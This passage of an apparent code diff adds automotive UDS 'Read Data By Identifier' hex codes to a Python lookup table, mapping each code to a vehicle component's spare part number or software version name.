+UDS_RDBI.dataIdentifiers[0x6265] = "Door_handle_front_left_Kessy_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6266] = "Door_handle_front_right_Kessy_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6267] = "Door_handle_rear_left_Kessy_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6268] = "Door_handle_rear_right_Kessy_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6269] = "Power_converter_DC_AC_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x626a] = "Battery_monitoring_control_module_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x626b] = "Matrix_headlamp_powermodule_1_left_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x626c] = "Matrix_headlamp_powermodule_1_right_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x626d] = "High_beam_powermodule_left_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x626e] = "High_beam_powermodule_right_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x626f] = "Air_suspension_compressor_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6270] = "Rear_brake_actuator_1_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6271] = "Rear_brake_actuator_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6272] = "Analog_clock_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6273] = "Rear_door_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6279] = "Data_medium_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x627a] = "Operating_unit_center_console_1_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x627b] = "Operating_unit_center_console_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x627c] = "Operating_unit_center_console_3_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x627d] = "Operating_unit_center_console_4_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x627e] = "Interface_for_radiodisplay_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x627f] = "Parkassist_entry_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6286] = "Belt_pretensioner_3rd_row_left_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6287] = "Belt_pretensioner_3rd_row_right_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6288] = "Injection_valve_heater_control_unit_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6289] = "Steering_column_switch_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x628a] = "Brake_assistance_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x628b] = "Trailer_articulation_angle_sensor_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x628c] = "Cup_holder_with_heater_and_cooling_element_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x628d] = "Range_of_vision_sensing_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x628e] = "Convenience_and_driver_assist_operating_unit_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x628f] = "Cradle_rear_climatronic_operating_and_display_unit_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6290] = "Trailer_weight_nose_weight_detection_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6291] = "Sensor_carbon_dioxide_concentration_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6292] = "Sensor_fine_dust_concentration_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6293] = "Volume_control_1_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6294] = "Belt_buckle_presenter_2nd_row_left_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6295] = "Belt_buckle_presenter_2nd_row_right_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6296] = "Operating_and_display_unit_6_for_air_conditioning_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6297] = "Active_accelerator_pedal_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6298] = "Multimedia_operating_unit_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6299] = "Display_unit_3_for_multimedia_system_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x629a] = "Display_unit_4_for_multimedia_system_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x629b] = "Display_unit_5_for_multimedia_system_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x629c] = "Control_module_for_auxiliary_blower_motors_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x629d] = "Operating_and_display_unit_3_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x629e] = "Operating_and_display_unit_4_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x629f] = "Operating_and_display_unit_5_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62a0] = "Side Sensor Driver Front_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62a1] = "Side Sensor Passenger Front_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62a2] = "Side Sensor Driver Rear_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62a3] = "Side Sensor Passenger Rear_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62a4] = "Front Sensor Driver_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62a5] = "Front Sensor Passenger_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62a6] = "Pedestrian Protection Driver_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62a7] = "Pedestrian Protection Passenger_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62a8] = "Rear Sensor Center_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62a9] = "Pedestrian Protection Center_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62aa] = "Pedestrian Protection Contact_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62ab] = "Pedestrian_protection_driver_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62ac] = "Pedestrian_protection_passenger_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62ad] = "Central_sensor_XY_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62ae] = "Refrigerant_pressure_and_temperature_sender_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62af] = "Refrigerant_pressure_and_temperature_sender_3_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62b0] = "Switch_for_rear_multicontour_seat_driver_side_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62b1] = "Valve_block_1_in_driver_side_rear_seat_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62b2] = "Valve_block_2_in_driver_side_rear_seat_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62b3] = "Valve_block_3_in_driver_side_rear_seat_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62b4] = "Switch_for_rear_multicontour_seat_passenger_side_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62b5] = "Valve_block_1_in_passenger_side_rear_seat_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62b6] = "Valve_block_2_in_passenger_side_rear_seat_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62b7] = "Valve_block_3_in_passenger_side_rear_seat_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62b8] = "Switch_for_front_multicontour_seat_driver_side_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62b9] = "Valve_block_1_in_driver_side_front_seat_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62ba] = "Valve_block_2_in_driver_side_front_seat_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62bb] = "Valve_block_3_in_driver_side_front_seat_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62bc] = "Switch_for_front_multicontour_seat_passenger_side_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62bd] = "Valve_block_1_in_passenger_side_front_seat_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62be] = "Valve_block_2_in_passenger_side_front_seat_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62bf] = "Valve_block_3_in_passenger_side_front_seat_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62c0] = "Coolant_heater_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62c1] = "Seat_backrest_fan_1_front_left_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62c2] = "Seat_backrest_fan_2_front_left_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62c3] = "Seat_cushion_fan_1_front_left_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62c4] = "Seat_cushion_fan_2_front_left_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62c5] = "Seat_backrest_fan_1_front_right_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62c6] = "Seat_backrest_fan_2_front_right_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62c7] = "Seat_cushion_fan_1_front_right_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62c8] = "Seat_cushion_fan_2_front_right_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62c9] = "Operating_and_display_unit_1_for_air_conditioning_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62ca] = "Operating_and_display_unit_2_for_air_conditioning_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62cb] = "Operating_and_display_unit_3_for_air_conditioning_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62cc] = "Operating_and_display_unit_4_for_air_conditioning_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62cd] = "Operating_and_display_unit_5_for_air_conditioning_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62ce] = "Pedestrian_protection_left_hand_side_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62cf] = "Pedestrian_protection_right_hand_side_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62d0] = "Battery_junction_box_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62d1] = "Cell_module_controller_1_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62d2] = "Cell_module_controller_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62d3] = "Cell_module_controller_3_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62d4] = "Cell_module_controller_4_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62d5] = "Cell_module_controller_5_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62d6] = "Cell_module_controller_6_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62d7] = "Cell_module_controller_7_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62d8] = "Cell_module_controller_8_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62d9] = "Cell_module_controller_9_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62da] = "Cell_module_controller_10_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62db] = "Cell_module_controller_11_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62dc] = "Cell_module_controller_12_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62dd] = "Seat_backrest_fan_1_rear_left_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62de] = "Seat_backrest_fan_2_rear_left_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62df] = "Seat_cushion_fan_1_rear_left_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62e0] = "Seat_cushion_fan_2_rear_left_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62e1] = "Seat_backrest_fan_1_rear_right_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62e2] = "Seat_backrest_fan_2_rear_right_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62e3] = "Seat_cushion_fan_1_rear_right_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62e4] = "Seat_cushion_fan_2_rear_right_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62e5] = "Auxiliary_blower_motor_control_1_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62e6] = "Auxiliary_blower_motor_control_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62e7] = "Infrared_sender_for_front_observation_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62e8] = "Starter_generator_control_module_sub_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62e9] = "Media_player_1_sub_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62ea] = "Media_player_2_sub_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62eb] = "Dedicated_short_range_communication_aerial_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62ec] = "Refrigerant_pressure_and_temperature_sender_4_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62ed] = "Refrigerant_pressure_and_temperature_sender_5_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62ee] = "Refrigerant_pressure_and_temperature_sender_6_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62ef] = "Air_coolant_actuator_1_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62f0] = "Air_coolant_actuator_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62f1] = "Cell_module_controller_13_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62f2] = "Cell_module_controller_14_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62f3] = "Cell_module_controller_15_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62f5] = "Seat_heating_rear_1_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62f6] = "LED_warning_indicator_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62f7] = "Automatic_transmission_fluid_pump_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62f8] = "Manual_transmission_fluid_pump_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62f9] = "Convenience_and_driver_assist_operating_unit_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62fb] = "Air_coolant_actuator_3_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62fc] = "Valve_block_4_in_driver_side_rear_seat_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62fd] = "Valve_block_4_in_passenger_side_rear_seat_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62fe] = "Valve_block_4_in_driver_side_front_seat_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x62ff] = "Valve_block_4_in_passenger_side_front_seat_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6301] = "Rear_climatronic_operating_and_display_unit_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6302] = "Refrigerant_expansion_valve_1_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6303] = "Refrigerant_expansion_valve_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6304] = "Refrigerant_expansion_valve_3_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6305] = "Refrigerant_shut_off_valve_1_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6306] = "Refrigerant_shut_off_valve_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6307] = "Refrigerant_shut_off_valve_3_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6308] = "Refrigerant_shut_off_valve_4_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6309] = "Refrigerant_shut_off_valve_5_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x630a] = "Sunlight_sensor_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x630b] = "Near_field_communication_control_module_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x630c] = "Clutch_control_unit_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x630d] = "Electrical_charger_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x630e] = "Rear_light_left_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x630f] = "Rear_light_right_1_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6310] = "Rear_light_right_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6311] = "Sunlight_sensor_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6312] = "Radiator_shutter_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6313] = "Radiator_shutter_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6314] = "Radiator_shutter_3_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6315] = "Radiator_shutter_4_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6318] = "Special_key_operating_unit_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6319] = "Radio_interface_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x631a] = "Video_self_protection_recorder_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x631b] = "Special_vehicle_assist_interface_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x631c] = "Electric_system_disconnection_diode_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x631d] = "Cradle_rear_climatronic_operating_and_display_unit_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x631e] = "Belt_pretensioner_2nd_row_left_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x631f] = "Belt_pretensioner_2nd_row_right_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6320] = "Electrical_variable_camshaft_phasing_1_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6321] = "Electrical_variable_camshaft_phasing_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6322] = "Wireless_operating_unit_1_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6323] = "Wireless_operating_unit_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6324] = "Front_windshield_washer_pump_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6325] = "Air_quality_sensor_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6326] = "Fragrancing_system_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6327] = "Coolant_valve_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6328] = "Near_field_communication_control_module_3_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6329] = "Interior_monitoring_rear_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x632a] = "Cooler_fan_1_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x632b] = "Control_unit_heating_1_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x632c] = "Control_unit_heating_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x632d] = "Control_unit_heating_3_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x632e] = "Control_unit_heating_4_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x632f] = "Operating_unit_drive_mode_selection_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6330] = "Side_sensor_a-pillar_driver_front_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6331] = "Side_sensor_a-pillar_passenger_front_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6332] = "Sensor_high_voltage_system_1_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6333] = "Side_sensor_b-pillar_driver_front_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6334] = "Side_sensor_b-pillar_passenger_front_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6335] = "Multi_function_steering_wheel_control_module_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6336] = "Gear_selection_display_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6337] = "Cooler_fan_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6338] = "Gear_selector_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6339] = "Interior_light_module_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x633a] = "Radio_control_center_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x633b] = "Multimedia_extension_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x633c] = "Control_unit_differential_lock_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x633d] = "Control_unit_ride_control_system_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x633e] = "Control_unit_hands_on_detection_steering_wheel_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x633f] = "Front_climatronic_operating_and_display_unit_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6340] = "Auxiliary_display_unit_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6341] = "Card_reader_tv_tuner_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6342] = "Park_lock_actuator_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6343] = "Media_connector_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6344] = "Catalyst_heating_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6401] = "Control_unit_for_wiper_motor_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6402] = "Rain_light_recognition_sensor_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6403] = "Light_switch_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6404] = "Garage_door_opener_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6405] = "Garage_door_opener_operating_unit_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6406] = "Ignition_key_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6407] = "Left_front_seat_ventilation_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6408] = "Right_front_seat_ventilation_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6409] = "Left_rear_seat_ventilation_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x640a] = "LED_headlamp_powermodule_left_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x640b] = "LED_headlamp_powermodule_right_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x640c] = "LED_headlamp_powermodule_2_left_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x640d] = "LED_headlamp_powermodule_2_right_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x640e] = "Operating_and_display_unit_1_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x640f] = "Operating_and_display_unit_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6410] = "Right_rear_seat_ventilation_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6411] = "Data_medium_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6412] = "Drivers_door_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6413] = "Front_passengers_door_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6414] = "Left_headlamp_power_output_stage_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6415] = "Right_headlamp_power_output_stage_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6416] = "Sensor_for_anti_theft_alarm_system_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6417] = "Rear_lid_control_module_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6418] = "Alarm_horn_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6419] = "Automatic_day_night_interior_mirror_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x641a] = "Remote_control_auxiliary_heater_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x641b] = "Fresh_air_blower_front_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x641c] = "Fresh_air_blower_back_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x641d] = "Alternator_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x641e] = "Interior_light_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x641f] = "Refrigerant_pressure_and_temperature_sender_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6420] = "Sun_roof_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6421] = "Steering_column_lock_actuator_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6422] = "Anti_theft_tilt_system_control_unit_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6423] = "Tire_pressure_monitor_antenna_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6424] = "Heated_windshield_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6425] = "Rear_light_left_1_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6426] = "Ceiling_light_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6427] = "Left_front_massage_seat_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6428] = "Right_front_massage_seat_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6429] = "Control_module_for_auxiliary_air_heater_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x642a] = "Belt Pretensioner left_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x642b] = "Belt Pretensioner right_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x642c] = "Occupant Detection_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x642d] = "Selector_lever_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x642e] = "NOx_sensor_1_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x642f] = "NOx_sensor_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6430] = "Ioniser_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6431] = "Multi_function_steering_wheel_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6432] = "Left_rear_door_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6433] = "Right_rear_door_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6434] = "Left_rear_massage_seat_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6435] = "Right_rear_massage_seat_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6436] = "Display_unit_1_for_multimedia_system_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6437] = "Battery_monitoring_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6438] = "Roof_blind_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6439] = "Sun_roof_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x643a] = "Steering_angle_sender_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x643b] = "Lane_change_assistant 2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x643c] = "Pitch_rate_sender_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x643d] = "ESP_sensor_unit_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x643e] = "Electronic_ignition_lock_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x643f] = "Air_quality_sensor_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6440] = "Display_unit_2_for_multimedia_system_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6441] = "Telephone_handset_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6442] = "Chip_card_reader_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6443] = "Traffic_data_aerial_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6444] = "Hands_free_system_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6445] = "Telephone_handset_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6446] = "Display_unit_front_for_multimedia_system_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6447] = "Multimedia_operating_unit_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6448] = "Digital_sound_system_control_module_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6449] = "Electrically_adjustable_steering_column_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x644a] = "Interface_for_external_multimedia_unit_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x644b] = "Relative_Air_Humidity_Interior_Sender_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x644c] = "Drivers_door_rear_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x644d] = "Passengers_rear_door_control_module_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x644e] = "Sensor_controlled_power_rear_lid_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x644f] = "Camera_for_night_vision_system_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6450] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6451] = "Rear_spoiler_adjustment_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6452] = "Roof_blind_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6453] = "Motor_for_wind_deflector_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6454] = "Voltage_stabilizer_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x6455] = 